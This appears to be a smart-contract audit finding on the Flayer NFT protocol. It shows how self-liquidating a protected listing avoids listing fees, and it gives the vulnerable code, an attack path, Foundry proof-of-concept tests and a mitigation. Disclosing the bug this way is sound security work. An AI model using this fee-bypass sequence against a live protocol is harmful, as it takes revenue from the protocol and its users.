Tiny Plastic Hyena

Medium

# A user could create a reserved listing and instantly liquidate it, bypassing the usual listing fees charged by the protocol

### Summary

The ability for a user to self liquidate without suffering any financial penalty will lead to the loss of fee revenue for the protocol, as well as a messy marketplace in which many floor quality NFTs are perpetually relisted in high priced Dutch auctions.

### Root Cause

In Listings.sol, the [creation of a liquidation listing](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L168-L207) bypasses listing fees. This is by design because ordinarily fees are payed up front by the seller and taken out of the fToken they initially receive.

However, this opens up the door for a way for users to bypass fees entirely if they are clever enough. In ProtectedListings.sol, liquidateProtectedListing() may be used on one's own listing. The only penalty for being liquidated is the 0.05 keeper fee which is deducted [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L464-L470). However, if a user self liquidates, they suffer no penalty at all and get the luxury of a tax free 4x floor price 4 day dutch auction.

```solidity
    function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
        ....
        // Keeper gets 0.05 as a reward for triggering the liquidation
            // @audit in the event of self liquidation, the 0.05 fTokens are given back to the user
@>      collectionToken.transfer(msg.sender, KEEPER_REWARD * 10 ** denomination);

        ...
        // Send the remaining tokens to {Locker} implementation as fees
        // @audit if the listing is for the maximum tokenTaken, no fees are taken from user here
@>      uint remainingCollateral = (1 ether - listing.tokenTaken - KEEPER_REWARD) * 10 ** denomination;
        if (remainingCollateral > 0) {
            IBaseImplementation implementation = locker.implementation();
            collectionToken.approve(address(implementation), remainingCollateral);
            implementation.depositFees(_collection, 0, remainingCollateral);
        }
```

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. User creates a protected listing and withdraws the maximum amount of fTokens allowed (0.95)
2. The very next block the user liquidates the listing
3. The asset is now listed at 4x the floor with no fees charged

### Impact

This could lead to a loss of revenue for the protocol given that it costs the attacker nothing to list their NFTs. Additionally, it could make the marketplace very messy, with mispriced NFTs dominating the active listings.

Ordinarily a 4 day dutch auction starting at 4x the floor price would cost the seller ~0.051 fTokens if allowed to run all the way down to zero. This is a relatively high amount of lost revenue.

### PoC

Please copy and paste the following into Listings.t.sol:
```solidity
function test_BypassTaxViaSelfLiquidation() public {

        address payable bypasserWallet = payable(makeAddr("bypasserWallet"));
        uint tokenId = 5;

        // Mint a mock erc to the bypasser
        erc721a.mint(bypasserWallet, tokenId);

        // The bypasser creates a protected listing and takes the maximum amount
        vm.startPrank(bypasserWallet);        

        erc721a.approve(address(protectedListings), tokenId);
        _createProtectedListing({
            _listing: IProtectedListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(5),
                listing: IProtectedListings.ProtectedListing({
                    owner: bypasserWallet,
                    tokenTaken: 0.95 ether,
                    checkpoint: 0
                })
            })
        });

        // wait one second, then liquidate
        vm.warp(block.timestamp + 1);
        protectedListings.liquidateProtectedListing(address(erc721a), 5);

        // wait 4 days for the end of the dutch auction - ordinarily this would rack up fees
        vm.warp(block.timestamp + 4 days);

        // a buyer purchases the asset
        address buyer = makeAddr("buyer");
        deal(address(locker.collectionToken(address(erc721a))), buyer, 1 ether);

        vm.startPrank(buyer);
        locker.collectionToken(address(erc721a)).approve(address(listings), type(uint).max);

        uint[][] memory tokenIdsOut = new uint[][](1);
        tokenIdsOut[0] = new uint[](1);
        tokenIdsOut[0][0] = tokenId;
        IListings.FillListingsParams memory fillParams = IListings.FillListingsParams({
                collection: address(erc721a),
                tokenIdsOut: tokenIdsOut
        });

        listings.fillListings(fillParams);

        // the bypasser suffers no tax and no liquidation penality        
        assertEq(locker.collectionToken(address(erc721a)).balanceOf(bypasserWallet), 1e18);
    }


```

If interested in the amount of funds lost for every such tax bypassing listed, paste this in Listings.t.sol as well:
```solidity
    function test_CostOfListing4X() public {

        address payable seller = payable(makeAddr("seller"));
        uint tokenId = 5;

        // Mint a mock erc to the bypasser
        erc721a.mint(seller, tokenId);

        vm.startPrank(seller);
        erc721a.approve(address(listings), tokenId);

        _createListing({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(tokenId),
                listing: IListings.Listing({
                    owner: seller,
                    created: uint40(block.timestamp),
                    duration: 4 days,
                    floorMultiple: 400
                })
            })
        });

        uint256 recieved = locker.collectionToken(address(erc721a)).balanceOf(seller);

        // cost of listing
        assertEq(1 ether - recieved, 51428571428571428);
    }
```

### Mitigation

Rather than using the _isLiquidation tag to bypass fee refunds, consider using it to charge fees before the user receives his or her share. This would eliminate any incentive for doing this.